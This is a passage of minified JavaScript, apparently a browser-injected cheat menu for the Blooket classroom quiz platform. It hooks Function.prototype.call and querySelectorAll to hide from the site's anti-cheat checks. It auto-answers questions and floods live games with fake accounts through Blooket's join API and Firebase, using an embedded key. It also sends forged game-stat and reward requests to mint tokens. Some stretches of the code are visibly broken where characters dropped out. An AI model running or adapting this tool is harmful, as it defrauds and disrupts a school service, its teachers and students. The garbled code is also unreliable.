#0bc2cf; font-size: 1rem"),r.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/05Konz/Blooket-Cheats","color: #ffd000; font-size: 1rem","");const i=async()=>{var e=document.createElement("iframe");if(document.body.append(e),String(Function.prototype.call).includes("native")){let e=Function.prototype.call,t=document.createElement("iframe"),a=(document.body.append(t),t.style.display="none",{querySelectorAll:function(){return["#JODGUI","#JODMOBILE","#currPageEl","#YTRkNmM2MWEtOTg3Zi00YmE1LWI1NzUtNTgyOTUzMWI4ZDYx","#ODJkMThlMDEtYmEwNi00MzE4LTg4ZGMtM2Y2ZDI0MzY4ZjU2",".cheatList",".cheatName","bG1mYW8=","#aXQncyBjYXQgYW5kIG1vdXNlIGF0IHRoaXMgcG9pbnQ"].includes(arguments[0])?[]:t.contentDocument.querySelectorAll.apply(document,arguments)},querySelector:t.contentDocument.querySelector.bind(document),includes:function(){return!["Cheats","Global","Global Cheats","Discord - oneminesraft2","Auto Answer (Toggle)","Auto Sell Dupes On Open","Spam Buy Blooks","Food Game","Change Blook Ingame","Get Daily Rewards","Remove Name Limit","Simulate Unlock","Cheat ESP","Gold Quest Cheats","Cafe Cheats","Crypto Hack Cheats","Deceptive Dinos Cheats","Tower Defense Cheats","Tower Defense2 Cheats","Factory Cheats","Fishing Frenzy Cheats","Flappy Blook Cheats","Tower of Doom Cheats","Crazy Kingdom Cheats","Racing Cheats","Battle Royale Cheats","Blook Rush Cheats","Monster Brawl Cheats","Santa's Workshop Cheats"].includes(arguments[0])&&t.contentWindow.String.prototype.call(this,arguments)},fetch:t.contentWindow.fetch.bind(window),btoa:t.contentWindow.btoa.bind(window),getItem:t.contentWindow.localStorage.getItem.bind(window.localStorage)}),o=Object.keys(a);Function.prototype.call=function(){return o.includes(this.name)?e.apply(a[this.name],arguments):e.apply(this,arguments)}}window.alert=e.contentWindow.alert.bind(window),window.prompt=e.contentWindow.prompt.bind(window),window.confirm=e.contentWindow.confirm.bind(window),e.remove();var e=(a,e={})=>Object.entries(e).forEach(([e,t])=>a.style[e]=t),t=document.createElement("style"),a=(t.innerHTML="details > summary { cursor: pointer; transition: 0.15s; list-style: none; } details > summary:hover { color: hsl(0, 0%, 50%) } details > summary::-webkit-details-marker { display: none; } details summary ~ * { animation: sweep .5s ease-in-out; } @keyframes sweep { 0% {opacity: 0; transform: translateY(-10px)} 100% {opacity: 1; transform: translateY(0)} } .cheat { border: none; background: hsl(0, 0%, 20%); padding: 5px; margin: 3px; width: 60%; color: hsl(0, 0%, 100%); transition: 0.2s; border-radius: 5px; cursor: pointer; } .cheat:hover { background: hsl(0, 0%, 30%); }",await Object.values(webpackJsonp.push([[],{"":(e,t,a)=>{t.cache=a.c}},[[""]]]).cache).find(e=>e.exports.a?.me).exports.a.me({})||{}),a=btoa(a.id||"lmfao").replaceAll(/(=|\/|\.)/g,"");const o=document.createElement("div");[...document.querySelectorAll("#"+a)].forEach(e=>e.remove()),o.id=a,o.appendChild(t),e(o,{width:"400px",background:"hsl(0, 0%, 10%)",borderRadius:"10px",position:"absolute",textAlign:"center",fontFamily:"Nunito",color:"white",overflow:"hidden",top:"50px",left:"50px"});var s,n,r=0,i=0,a=(o.onpointerdown=(e=window.event)=>{e.preventDefault(),r=e.clientX,i=e.clientY,document.onpointerup=()=>{document.onpointerup=null,document.onpointermove=null},document.onpointermove=e=>{(e=e||window.event).preventDefault(),s=r-e.clientX,n=i-e.clientY,r=e.clientX,i=e.clientY,o.style.top=o.offsetTop-n+"px",o.style.left=o.offsetLeft-s+"px"}},document.createElement("div")),t=(o.appendChild(a),e(a,{width:"100%",height:"35px",paddingTop:"2px",fontSize:"1.5rem",textAlign:"center"}),a.innerHTML='Blooket Cheats v12.18.22',document.createElement("button")),t=(a.appendChild(t),e(t,{background:"red",height:"45px",width:"45px",border:"none",cursor:"pointer",position:"absolute",top:"-10px",right:"-10px",fontSize:"1.5rem",borderRadius:"10px",fontFamily:"Nunito",fontWeight:"bolder",paddingTop:"10px",paddingRight:"15px"}),t.innerText="X",t.onclick=()=>{u(),o.remove(),removeEventListener("keypress",y)},document.createElement("button"));a.appendChild(t),e(t,{background:"#444444",height:"45px",width:"45px",border:"none",cursor:"pointer",position:"absolute",top:"-10px",left:"-10px",fontSize:"1.5rem",borderRadius:"10px",fontFamily:"Nunito",fontWeight:"bolder",paddingTop:"10px",paddingLeft:"15px"}),t.innerText="-",t.onclick=()=>c.hidden=!c.hidden;let c=document.createElement("div");a=document.createElement("div"),c.appendChild(a),o.appendChild(c),a.innerHTML=`${b(!0)?"Current gamemode: "+b(!0):"No game detected"}
(Press E to hide)
`,a.style.display="block",a.style.margin="10px",document.body.append(o),e=document.createElement("div");c.appendChild(e),e.style.fontSize="0.9rem",e.style.paddingBottom="5px";let l={global:[{name:"Auto Answer (Toggle)",description:"Toggles auto answer on",type:"toggle",enabled:!(e.innerHTML='GitHub - 05Konz'),data:null,run:function(){this.enabled?(this.enabled=!1,clearInterval(this.data),this.data=null):(this.enabled=!0,this.data=setInterval(()=>{const{state:{question:a,stage:e,feedback:t},props:{client:{question:o}}}=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];try{"typing"!=a.qType?("feedback"===e||t?document.querySelector('[class*="feedback"]')?.firstChild:[...document.querySelectorAll('[class*="answerContainer"]')][(a||o).answers.map((e,t)=>(a||o).correctAnswers.includes(e)?t:null).filter(e=>null!=e)[0]])?.click?.():Object.values(document.querySelector("[class*='typingAnswerWrapper']"))[1].children._owner.stateNode.sendAnswer(a.answers[0])}catch{}},50))}},{name:"Highlight Answers (Toggle)",description:"Toggles highlight answers on",type:"toggle",enabled:!1,data:null,run:function(){this.enabled?(this.enabled=!1,clearInterval(this.data),this.data=null):(this.enabled=!0,this.data=setInterval(()=>{const{state:a,props:o}=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];[...document.querySelectorAll('[class*="answerContainer"]')].forEach((e,t)=>{(a.question||o.client.question).correctAnswers.includes((a.question||o.client.question).answers[t])?e.style.backgroundColor="rgb(0, 207, 119)":e.style.backgroundColor="rgb(189, 15, 38)"})},50))}},{name:"Auto Answer",description:"Click the correct answer for you",run:function(){const{state:{question:a,stage:e,feedback:t},props:{client:{question:o}}}=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];try{"typing"!=a.qType?("feedback"===e||t?document.querySelector('[class*="feedback"]')?.firstChild:[...document.querySelectorAll('[class*="answerContainer"]')][(a||o).answers.map((e,t)=>(a||o).correctAnswers.includes(e)?t:null).filter(e=>null!=e)[0]])?.click?.():Object.values(document.querySelector("[class*='typingAnswerWrapper']"))[1].children._owner.stateNode.sendAnswer(a.answers[0])}catch{}}},{name:"Highlight Answers",description:"Colors answers to be red or green highlighting the correct ones",run:function(){const{state:a,props:o}=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];[...document.querySelectorAll('[class*="answerContainer"]')].forEach((e,t)=>{(a.question||o.client.question).correctAnswers.includes((a.question||o.client.question).answers[t])?e.style.backgroundColor="rgb(0, 207, 119)":e.style.backgroundColor="rgb(189, 15, 38)"})}},{name:"Spam Buy Blooks",description:"Opens a box an amount of times",run:function(){var e=document.createElement("iframe");document.body.append(e),window.alert=e.contentWindow.alert.bind(window),window.prompt=e.contentWindow.prompt.bind(window),window.confirm=e.contentWindow.confirm.bind(window),e.remove();let s=webpackJsonp.push([[],{[1234]:(e,t,a)=>{t.webpack=a}},[["1234"]]])["webpack"],t=Object.values(s.c).find(e=>e.exports?.a?.get).exports.a,l=Object.values(s.c).find(e=>e.exports.a?.purchaseBlookBox).exports.a["purchaseBlookBox"];t.get("https://dashboard.blooket.com/api/users").then(async({data:{tokens:e}})=>{var t=Object.values(s.c).find(e=>!isNaN(e?.exports?.a?.Space)).exports.a||{Medieval:20,Breakfast:20,Wonderland:20,Blizzard:25,Space:20,Bot:20,Aquatic:20,Safari:20,Dino:25,"Ice Monster":25,Outback:25};let a=prompt('Which box do you want to open? (ex: "Ice Monster")').split(" ").map(e=>e.charAt(0).toUpperCase()+e.slice(1).toLowerCase()).join(" ");if(!Object.keys(t).map(e=>e.toLowerCase()).includes(a.toLowerCase()))return alert("I couldn't find that box!");let n=Math.min(Math.floor(e/Object.entries(t).find(e=>e[0].toLowerCase()==a.toLowerCase())[1]),parseInt("0"+prompt("How many boxes do you want to open?")));if(0==n)return alert("You do not have enough tokens!");let r=confirm("Would you like to alert blooks upon unlocking?"),i={},c=Date.now(),o=!1;for(let s=0;s{i[a]||=0,i[a]++;var o=Date.now();r&&alert(`${a} (${s+1}/${n}) ${e?"NEW! ":""}${t} tokens left`),c+=Date.now()-o}).catch(e=>o=!0),!o);s++);alert(`(${Date.now()-c}ms) Results:\n`+Object.entries(i).map(([e,t])=>` ${e} `+t).join(`\n`))}).catch(()=>alert("There was an error user data!"))}},{name:"Remove Name Limit",description:"Sets the name limit to 120, which is the actual max name length limit",run:function(){var e=document.createElement("iframe");document.body.append(e),window.alert=e.contentWindow.alert.bind(window),e.remove(),document.querySelector('input[class*="nameInput"]').maxLength=120,alert("Removed name length limit")}},{name:"Remove Random Name",description:"Allows you to put a custom name",run:function(){Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({isRandom:!1,client:{name:""}}),document.querySelector('[class*="nameInput"]')?.focus?.()}},{name:"Sell Cheap Duplicates",description:"Sells all of your uncommon to epic dupes (not legendaries+)",run:function(){var e=document.createElement("iframe");document.body.append(e),window.alert=e.contentWindow.alert.bind(window),window.confirm=e.contentWindow.confirm.bind(window),e.remove();let t=webpackJsonp.push([[],{[1234]:(e,t,a)=>{t.webpack=a}},[["1234"]]])["webpack"],a=Object.values(t.c).find(e=>e.exports?.a?.get).exports.a,s=Object.values(t.c).find(e=>e.exports.a?.sellBlook).exports.a["sellBlook"];a.get("https://dashboard.blooket.com/api/users").then(async({data:{unlocks:e}})=>{e=Object.entries(e).filter(([e,t])=>1{t.webpack=a}},[["1234"]]]).webpack("MDrD").a[e].rarity));if(confirm("Are you sure you want to sell your uncommon to epic dupes?")){var t,a,o=Date.now();for([t,a]of e)await s({blook:t,numToSell:a-1});alert(`(${Date.now()-o}ms) Results:\n`+e.map(([e,t])=>` ${e} `+(t-1)).join(`\n`))}}).catch(()=>alert("There was an error user data!"))}},{name:"Sell Duplicate Blooks",description:"Sell all duplicate blooks leaving you with 1 each",run:function(){var e=document.createElement("iframe");document.body.append(e),window.alert=e.contentWindow.alert.bind(window),window.confirm=e.contentWindow.confirm.bind(window),e.remove();let t=webpackJsonp.push([[],{[1234]:(e,t,a)=>{t.webpack=a}},[["1234"]]])["webpack"],a=Object.values(t.c).find(e=>e.exports?.a?.get).exports.a,s=Object.values(t.c).find(e=>e.exports.a?.sellBlook).exports.a["sellBlook"];a.get("https://dashboard.blooket.com/api/users").then(async({data:{unlocks:e}})=>{e=Object.entries(e).filter(e=>1` ${e} `+(t-1)).join(`\n`))}}).catch(e=>(alert("There was an error user data!"),console.info(e)))}},{name:"Every Answer Correct",description:"Sets every answer to be correct",run:function(){var e=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];e.freeQuestions=e.questions=e.props.client.questions.map(e=>({...e,correctAnswers:e.answers}))}},{name:"Flood Game",description:"Floods a game with a number of fake accounts",run:async function(){var e=document.createElement("iframe");document.body.append(e),window.prompt=e.contentWindow.prompt.bind(window),e.remove();const n=prompt("Game ID:"),r=prompt("Name:");var t=parseInt(prompt("Amount:")),e=Object.values(webpackJsonp.push([[],{"":(e,t,a)=>{t.cache=a.c}},[[""]]]).cache);const i=e.find(e=>e.exports?.a?.get).exports.a,c=e.find(e=>e.exports?.a?.initializeApp).exports.a,l=Object.keys(Object.values(e).find(e=>e.exports.a?.Black).exports.a);for(let s=1;s<=t;s++)(async()=>{var e=""+r+String.fromCharCode(96+s),{success:t,fbToken:a,fbShardURL:o}=(await i.put("https://fb.blooket.com/c/firebase/join",{id:n,name:e}))["data"];t&&(t=c.initializeApp({apiKey:"AIzaSyCA-cTOnX19f6LFnDVVsHXya3k6ByP_MnU",authDomain:"blooket-2020.firebaseapp.com",projectId:"blooket-2020",storageBucket:"blooket-2020.appspot.com",messagingSenderId:"741533559105",appId:"1:741533559105:web:b8cbb10e6123f2913519c0",measurementId:"G-S3H5NGN10Z",databaseURL:o},e),await(o=c.auth(t)).setPersistence(c.auth.Auth.Persistence.NONE).catch(console.error),await o.signInWithCustomToken(a).catch(console.error),await t.database().ref(n+"/c/"+e).set({b:l[Math.floor(Math.random()*l.length)]}),t.delete())})(),await new Promise(e=>setTimeout(e,100))}},{name:"Change Blook Ingame",description:"Changes your blook",run:function(){var e=document.createElement("iframe"),e=(document.body.append(e),window.prompt=e.contentWindow.prompt.bind(window),e.remove(),Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode)["props"];e.client.blook=prompt("Blook Name: (Case Sensitive)"),e.liveGameController.setVal({path:`c/${e.client.name}/b`,val:e.client.blook})}},{name:"Get Daily Rewards",description:"Gets max daily tokens and xp",run:function(){var e=document.createElement("iframe");if(document.body.append(e),window.alert=e.contentWindow.alert.bind(window),e.remove(),location.href.includes("play.blooket.com")){const o=Object.values(webpackJsonp.push([[],{"":(e,t,a)=>{t.cache=a.c}},[[""]]]).cache),s=o.find(e=>e.exports?.a?.get).exports.a;s.post("https://play.blooket.com/api/playersessions/solo",{gameMode:"Factory",questionSetId:["60101da869e8c70013913b59","625db660c6842334835cb4c6","60268f8861bd520016eae038","611e6c804abdf900668699e3","60ba5ff6077eb600221b7145","642467af9b704783215c1f1b","605bd360e35779001bf57c5e","6234cc7add097ff1c9cff3bd","600b1491d42a140004d5215a","5db75fa3f1fa190017b61c0c","5fac96fe2ca0da00042b018f","600b14d8d42a140004d52165","5f88953cdb209e00046522c7","600b153ad42a140004d52172","5fe260e72a505b00040e2a11","5fe3d085a529560004cd3076","5f5fc017aee59500041a1456","608b0a5863c4f2001eed43f4","5fad491512c8620004918ace","5fc91a9b4ea2e200046bd49a","5c5d06a7deebc70017245da7","5ff767051b68750004a6fd21","5fdcacc85d465a0004b021b9","5fb7eea20bd44300045ba495"][Math.floor(24*Math.random())]}).then(async({data:{t:e}})=>{await s.post("https://play.blooket.com/api/playersessions/landings",{t:e});var{name:t,blook:{name:a}}=await o.find(e=>e.exports.a?.me).exports.a.me({}).catch(()=>alert("There was an error getting user data."));await s.put("https://play.blooket.com/api/users/factorystats",{blookUsed:a,t:e,name:t,cash:Math.floor(9e7*Math.random())+1e7,correctAnswers:Math.floor(500*Math.random())+500,upgrades:Math.floor(300*Math.random())+300,mode:"Time-Solo",nameUsed:"You",place:1,playersDefeated:0}).then(console.log),s.put("https://play.blooket.com/api/users/add-rewards",{t:e,name:t,addedTokens:500,addedXp:300}).then(({data:{dailyReward:e}})=>alert(`Added max tokens and xp, and got ${e} daily wheel tokens!`)).catch(()=>alert("There was an error when adding rewards."))})}else alert("This cheat only works on play.blooket.com, opening a new tab."),window.open("https://play.blooket.com/")}},{name:"Simulate Pack",description:"Simulate opening a pack",run:function(){let h=webpackJsonp.push([[],{[1234]:(e,t,a)=>{t.webpack=a}},[["1234"]]])["webpack"];var t=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];let n=h("fGzD");n=Object.keys(n.a).reduce((e,t)=>(e.packs.includes(t)&&(e.data[t]=Object.fromEntries(n.b(t))),e),{packs:Array.from(document.querySelectorAll('[class*="packShadow"]')).map(e=>e.alt),data:{}}).data;var a=prompt('Which box do you want to simulate? (ex: "Ice Monster")').split(" ").map(e=>e.charAt(0).toUpperCase()+e.slice(1).toLowerCase()).join(" ");if(n[a]){a=function(e){var t=[],a=Object.keys(n[e]);for(const s of a)t.push(n[e][s]+(t[a.indexOf(s)-1]||0));const o=t[t.length-1]*Math.random();return a[t.findIndex(e=>e>=o)]}(a);let e=Object.values(h.c).find(e=>e.exports?.Class).exports,u={};class s extends e.Scene{constructor(e){super(),this.rarity=e.toLowerCase()}preload(){switch(this.rarity){case"uncommon":this.load.svg("uncommon-1","https://media.blooket.com/image/upload/v1658567787/Media/market/particles/square_green.svg",{width:25,height:25}),this.load.svg("uncommon-2","https://media.blooket.com/image/upload/v1658567787/Media/market/particles/square_light_green.svg",{width:25,height:25}),this.load.svg("uncommon-3","https://media.blooket.com/image/upload/v1658567785/Media/market/particles/circle_dark_green.svg",{width:25,height:25}),this.load.svg("uncommon-4","https://media.blooket.com/image/upload/v1658567785/Media/market/particles/serpentine_dark_green.svg",{width:30,height:30}),this.load.svg("uncommon-5","https://media.blooket.com/image/upload/v1658567785/Media/market/particles/triangle_light_green.svg",{width:30,height:30}),this.load.svg("uncommon-6","https://media.blooket.com/image/upload/v1658567785/Media/market/particles/serpentine_light_green.svg",{width:30,height:30}),this.load.svg("uncommon-7","https://media.blooket.com/image/upload/v1658567785/Media/market/particles/triangle_green.svg",{width:30,height:30});break;case"rare":this.load.svg("rare-1","https://media.blooket.com/image/upload/v1658567765/Media/market/particles/square_light_blue.svg",{width:25,height:25}),this.load.svg("rare-2","https://media.blooket.com/image/upload/v1658567765/Media/market/particles/square_dark_blue.svg",{width:25,height:25}),this.load.svg("rare-3","https://media.blooket.com/image/upload/v1658567763/Media/market/particles/triangle_blue.svg",{width:30,height:30}),this.load.svg("rare-4","https://media.blooket.com/image/upload/v1658567763/Media/market/particles/serpentine_blue.svg",{width:30,height:30}),this.load.svg("rare-5","https://media.blooket.com/image/upload/v1658567763/Media/market/particles/triangle_light_blue.svg",{width:30,height:30}),this.load.svg("rare-6","https://media.blooket.com/image/upload/v1658567763/Media/market/particles/serpentine_light_blue.svg",{width:30,height:30}),this.load.svg("rare-7","https://media.blooket.com/image/upload/v1658567763/Media/market/particles/circle_dark_blue.svg",{width:25,height:25});break;case"epic":this.load.svg("epic-1","https://media.blooket.com/image/upload/v1658790239/Media/market/particles/red.svg",{width:25,height:25}),this.load.svg("epic-2","https://media.blooket.com/image/upload/v1658790237/Media/market/particles/light_red.svg",{width:25,height:25}),this.load.svg("epic-3","https://media.blooket.com/image/upload/v1658790239/Media/market/particles/serpentine_red.svg",{width:30,height:30}),this.load.svg("epic-4","https://media.blooket.com/image/upload/v1658790239/Media/market/particles/serpentine_dark_red.svg",{width:30,height:30}),this.load.svg("epic-5","https://media.blooket.com/image/upload/v1658790237/Media/market/particles/triangle_red.svg",{width:30,height:30}),this.load.svg("epic-6","https://media.blooket.com/image/upload/v1658790237/Media/market/particles/triangle_light_red.svg",{width:30,height:30}),this.load.svg("epic-7","https://media.blooket.com/image/upload/v1658790237/Media/market/particles/circle_dark_red.svg",{width:25,height:25});break;case"legendary":this.load.svg("legendary-1","https://media.blooket.com/image/upload/v1658567740/Media/market/particles/square_orange.svg",{width:25,height:25}),this.load.svg("legendary-2","https://media.blooket.com/image/upload/v1658567740/Media/market/particles/square_light_orange.svg",{width:25,height:25}),this.load.svg("legendary-3","https://media.blooket.com/image/upload/v1658567738/Media/market/particles/circle_orange.svg",{width:25,height:25}),this.load.svg("legendary-4","https://media.blooket.com/image/upload/v1658567738/Media/market/particles/serpentine_orange.svg",{width:30,height:30}),this.load.svg("legendary-5","https://media.blooket.com/image/upload/v1658567738/Media/market/particles/serpentine_light_orange.svg",{width:30,height:30}),this.load.svg("legendary-6","https://media.blooket.com/image/upload/v1658567738/Media/market/particles/circle_dark_orange.svg",{width:25,height:25}),this.load.svg("legendary-7","https://media.blooket.com/image/upload/v1658567738/Media/market/particles/triangle_dark_orange.svg",{width:30,height:30});break;case"chroma":this.load.svg("chroma-1","https://media.blooket.com/image/upload/v1658790246/Media/market/particles/square_turquoise.svg",{width:25,height:25}),this.load.svg("chroma-2","https://media.blooket.com/image/upload/v1658790246/Media/market/particles/square_light_turquoise.svg",{width:25,height:25}),this.load.svg("chroma-3","https://media.blooket.com/image/upload/v1658790244/Media/market/particles/serpentine_dark_turquoise.svg",{width:30,height:30}),this.load.svg("chroma-4","https://media.blooket.com/image/upload/v1658790244/Media/market/particles/serpentine_turquoise.svg",{width:30,height:30}),this.load.svg("chroma-5","https://media.blooket.com/image/upload/v1658790244/Media/market/particles/triangle_turquoise.svg",{width:30,height:30}),this.load.svg("chroma-6","https://media.blooket.com/image/upload/v1658790244/Media/market/particles/triangle_light_turquoise.svg",{width:30,height:30}),this.load.svg("chroma-7","https://media.blooket.com/image/upload/v1658790244/Media/market/particles/circle_dark_turquoise.svg",{width:25,height:25})}}create(){u.scene=this,u.rarity="",u.particles=this.physics.add.group({classType:new e.Class({Extends:e.GameObjects.Image,initialize:function(){e.GameObjects.Image.call(this,u.scene,0,0,"uncommon-1"),this.setDepth(3),this.lifespan=0},spawn:function(e,t,a,o,s,n,r,i,c){this.setTexture(c),this.setActive(!0),this.setVisible(!0),this.setPosition(e,t),this.setScale(a),this.targets=[],u.scene.physics.velocityFromAngle(o,s,this.body.velocity),this.body.setGravityY(n),this.body.setAngularVelocity(r),this.lifespan=i},update:function(e,t){this.lifespan-=t,0{u.rarity=e,this.numExplosions="Uncommon"===e?75:"Rare"===e?100:-1})}update(e,t){const a=h("74sb");function o(e){switch(e){case"center":var t=Object(a.l)(-115,-65);return{x:u.scene.cameras.main.worldView.width/2,y:u.scene.cameras.main.worldView.height/2,scale:Object(a.l)(.7,1),angle:t,velocity:Object(a.l)(600,750),gravity:700,angVelocity:(-90u.scene.cameras.main.worldView.height/2?-150:-210,velocity:Object(a.l)(600,750),gravity:0,angVelocity:Object(a.l)(-175,-125),lifespan:2500};case"left-diamond":t=Object(a.l)(0,u.scene.cameras.main.worldView.height);return{x:0,y:t,scale:Object(a.l)(.7,1),angle:t>u.scene.cameras.main.worldView.height/2?-30:30,velocity:Object(a.l)(600,750),gravity:0,angVelocity:Object(a.l)(125,175),lifespan:2500};default:return{}}}if(u.rarity&&0!==this.numExplosions&&(this.nextParticle-=t,this.nextParticle<=0)){switch(u.rarity){case"Uncommon":for(let e=0;e<2;e++){var s=u.particles.get();s&&s.spawn.apply(s,Object.values(o("center")).concat("uncommon-"+Object(a.m)(1,8)))}break;case"Rare":for(var n=0;n<2;n++){var r=u.particles.get();r&&r.spawn.apply(r,Object.values(o(n%2==0?"left-bottom":"right-bottom")).concat("rare-"+Object(a.m)(1,8)))}break;case"Epic":for(var i=0;i<2;i++){var c=u.particles.get();c&&c.spawn.apply(c,Object.values(o(i%2==0?"left-shower":"right-shower")).concat("epic-"+Object(a.m)(1,8)))}break;case"Legendary":for(var l=0;l<3;l++){var d=u.particles.get();d&&d.spawn.apply(d,Object.values(o("top")).concat("legendary-"+Object(a.m)(1,8)))}break;case"Chroma":for(var m=0;m<3;m++){var p=u.particles.get();p&&p.spawn.apply(p,Object.values(o(m%2==0?"left-diamond":"right-diamond")).concat("chroma-"+Object(a.m)(1,8)))}}this.nextParticle=20,0e.exports?.a?.Elephant).exports.a;t.setState({loadingPack:!1,openPack:!0,unlockedBlook:a,tokens:t.state.tokens,newUnlock:!0,game:{type:e.WEBGL,parent:"phaser-market",width:"100%",height:"100%",scale:{mode:e.Scale.NONE,autoCenter:e.Scale.CENTER_BOTH},transparent:!0,physics:{default:"arcade"},scene:new s(o[a].rarity)},canOpen:!0})}else alert("I couldn't find that box!")}},{name:"Simulate Unlock",description:"Simulate unlocking most of the blooks",run:function(){var n=document.createElement("iframe");if(document.body.append(n),window.alert=n.contentWindow.alert.bind(window),window.prompt=n.contentWindow.prompt.bind(window),n.remove(),"/market"==window.location.pathname){let u=webpackJsonp.push([[],{[1234]:(e,t,a)=>{t.webpack=a}},[["1234"]]])["webpack"],e=Object.values(u.c),t=e.find(e=>e.exports?.a?.Black).exports.a,o=e.find(e=>"number"==typeof e.exports.a?.Breakfast).exports.a,a=Object.entries(t).reduce((e,[t,a])=>(o[a.realSet||a.set]&&(e[t]=a),e),{});n=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];let s=e.find(e=>e.exports?.Class).exports,h=new function(){this.scene=null,this.particles=null,this.rarity=null};class i extends s.Scene{constructor(e){super(),this.rarity=e.toLowerCase()}preload(){switch(this.rarity){case"uncommon":this.load.svg("uncommon-1","https://media.blooket.com/image/upload/v1658567787/Media/market/particles/square_green.svg",{width:25,height:25}),this.load.svg("uncommon-2","https://media.blooket.com/image/upload/v1658567787/Media/market/particles/square_light_green.svg",{width:25,height:25}),this.load.svg("uncommon-3","https://media.blooket.com/image/upload/v1658567785/Media/market/particles/circle_dark_green.svg",{width:25,height:25}),this.load.svg("uncommon-4","https://media.blooket.com/image/upload/v1658567785/Media/market/particles/serpentine_dark_green.svg",{width:30,height:30}),this.load.svg("uncommon-5","https://media.blooket.com/image/upload/v1658567785/Media/market/particles/triangle_light_green.svg",{width:30,height:30}),this.load.svg("uncommon-6","https://media.blooket.com/image/upload/v1658567785/Media/market/particles/serpentine_light_green.svg",{width:30,height:30}),this.load.svg("uncommon-7","https://media.blooket.com/image/upload/v1658567785/Media/market/particles/triangle_green.svg",{width:30,height:30});break;case"rare":this.load.svg("rare-1","https://media.blooket.com/image/upload/v1658567765/Media/market/particles/square_light_blue.svg",{width:25,height:25}),this.load.svg("rare-2","https://media.blooket.com/image/upload/v1658567765/Media/market/particles/square_dark_blue.svg",{width:25,height:25}),this.load.svg("rare-3","https://media.blooket.com/image/upload/v1658567763/Media/market/particles/triangle_blue.svg",{width:30,height:30}),this.load.svg("rare-4","https://media.blooket.com/image/upload/v1658567763/Media/market/particles/serpentine_blue.svg",{width:30,height:30}),this.load.svg("rare-5","https://media.blooket.com/image/upload/v1658567763/Media/market/particles/triangle_light_blue.svg",{width:30,height:30}),this.load.svg("rare-6","https://media.blooket.com/image/upload/v1658567763/Media/market/particles/serpentine_light_blue.svg",{width:30,height:30}),this.load.svg("rare-7","https://media.blooket.com/image/upload/v1658567763/Media/market/particles/circle_dark_blue.svg",{width:25,height:25});break;case"epic":this.load.svg("epic-1","https://media.blooket.com/image/upload/v1658790239/Media/market/particles/red.svg",{width:25,height:25}),this.load.svg("epic-2","https://media.blooket.com/image/upload/v1658790237/Media/market/particles/light_red.svg",{width:25,height:25}),this.load.svg("epic-3","https://media.blooket.com/image/upload/v1658790239/Media/market/particles/serpentine_red.svg",{width:30,height:30}),this.load.svg("epic-4","https://media.blooket.com/image/upload/v1658790239/Media/market/particles/serpentine_dark_red.svg",{width:30,height:30}),this.load.svg("epic-5","https://media.blooket.com/image/upload/v1658790237/Media/market/particles/triangle_red.svg",{width:30,height:30}),this.load.svg("epic-6","https://media.blooket.com/image/upload/v1658790237/Media/market/particles/triangle_light_red.svg",{width:30,height:30}),this.load.svg("epic-7","https://media.blooket.com/image/upload/v1658790237/Media/market/particles/circle_dark_red.svg",{width:25,height:25});break;case"legendary":this.load.svg("legendary-1","https://media.blooket.com/image/upload/v1658567740/Media/market/particles/square_orange.svg",{width:25,height:25}),this.load.svg("legendary-2","https://media.blooket.com/image/upload/v1658567740/Media/market/particles/square_light_orange.svg",{width:25,height:25}),this.load.svg("legendary-3","https://media.blooket.com/image/upload/v1658567738/Media/market/particles/circle_orange.svg",{width:25,height:25}),this.load.svg("legendary-4","https://media.blooket.com/image/upload/v1658567738/Media/market/particles/serpentine_orange.svg",{width:30,height:30}),this.load.svg("legendary-5","https://media.blooket.com/image/upload/v1658567738/Media/market/particles/serpentine_light_orange.svg",{width:30,height:30}),this.load.svg("legendary-6","https://media.blooket.com/image/upload/v1658567738/Media/market/particles/circle_dark_orange.svg",{width:25,height:25}),this.load.svg("legendary-7","https://media.blooket.com/image/upload/v1658567738/Media/market/particles/triangle_dark_orange.svg",{width:30,height:30});break;case"chroma":this.load.svg("chroma-1","https://media.blooket.com/image/upload/v1658790246/Media/market/particles/square_turquoise.svg",{width:25,height:25}),this.load.svg("chroma-2","https://media.blooket.com/image/upload/v1658790246/Media/market/particles/square_light_turquoise.svg",{width:25,height:25}),this.load.svg("chroma-3","https://media.blooket.com/image/upload/v1658790244/Media/market/particles/serpentine_dark_turquoise.svg",{width:30,height:30}),this.load.svg("chroma-4","https://media.blooket.com/image/upload/v1658790244/Media/market/particles/serpentine_turquoise.svg",{width:30,height:30}),this.load.svg("chroma-5","https://media.blooket.com/image/upload/v1658790244/Media/market/particles/triangle_turquoise.svg",{width:30,height:30}),this.load.svg("chroma-6","https://media.blooket.com/image/upload/v1658790244/Media/market/particles/triangle_light_turquoise.svg",{width:30,height:30}),this.load.svg("chroma-7","https://media.blooket.com/image/upload/v1658790244/Media/market/particles/circle_dark_turquoise.svg",{width:25,height:25})}}create(){h.scene=this,h.rarity="",h.particles=this.physics.add.group({classType:new s.Class({Extends:s.GameObjects.Image,initialize:function(){s.GameObjects.Image.call(this,h.scene,0,0,"uncommon-1"),this.setDepth(3),this.lifespan=0},spawn:function(e,t,a,o,s,n,r,i,c){this.setTexture(c),this.setActive(!0),this.setVisible(!0),this.setPosition(e,t),this.setScale(a),this.targets=[],h.scene.physics.velocityFromAngle(o,s,this.body.velocity),this.body.setGravityY(n),this.body.setAngularVelocity(r),this.lifespan=i},update:function(e,t){this.lifespan-=t,0{h.rarity=e,this.numExplosions="Uncommon"===e?75:"Rare"===e?100:-1})}update(e,t){const a=u("74sb");function o(e){switch(e){case"center":var 